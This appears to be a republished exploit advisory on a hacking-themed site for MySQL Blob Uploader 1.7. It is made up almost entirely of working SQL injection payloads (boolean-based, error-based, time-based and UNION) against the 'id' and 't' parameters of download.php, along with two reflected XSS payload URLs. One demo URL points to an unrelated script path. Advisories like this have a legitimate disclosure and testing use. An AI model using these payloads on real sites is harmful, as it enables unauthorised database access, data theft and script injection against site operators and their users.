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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: MySQL Blob Uploader 1.7 - 'download.php' SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysql-file-and-image-uploader-and-sharing-blob-file-server/17748300
# Version: 1.7 - seventh update
# Category: Webapps
# Tested on: Kali linux
====================================================

# PoC : SQLi :

Parameter : id

Type : boolean-based blind
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44' AND 4775=4775 AND 'yvnT'='yvnT&t=files

Type : error-based
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44' AND (SELECT 7995 FROM(SELECT
COUNT(*),CONCAT(0x71766b7071,(SELECT
(ELT(7995=7995,1))),0x71786b7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'VOHb'='VOHb&t=files

Type : AND/OR time-based blind
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44' AND SLEEP(5) AND 'GnhY'='GnhY&t=files

Type : UNION query
Demo :
http://test.com/EasyFileUploader/settings-users-edit.php?id=1
Payload : id=-9508' UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x71766b7071,0x6267544b5552795353544744426577526b47544d477553476d576442544152546e4a456b586c726d,0x71786b7671),NULL--
wxis&t=files



Parameter : t

Type : boolean-based blind
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44&t=files` WHERE 6575=6575 AND 6608=6608#

Type : error-based
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44&t=files` WHERE 5293=5293 AND (SELECT 1625 FROM(SELECT
COUNT(*),CONCAT(0x71766b7071,(SELECT
(ELT(1625=1625,1))),0x71786b7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- OpVv

Type : AND/OR time-based blind
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44&t=files` WHERE 6736=6736 AND (SELECT * FROM
(SELECT(SLEEP(5)))GjCP)-- UaZE

====================================================

# PoC : XSS :

Payload(1) :
http://test.com/MySqlBlobUploader/download.php?id=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98;&t=files

Payload(2) :
http://test.com/MySqlBlobUploader/download.php?id=44&t=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98
;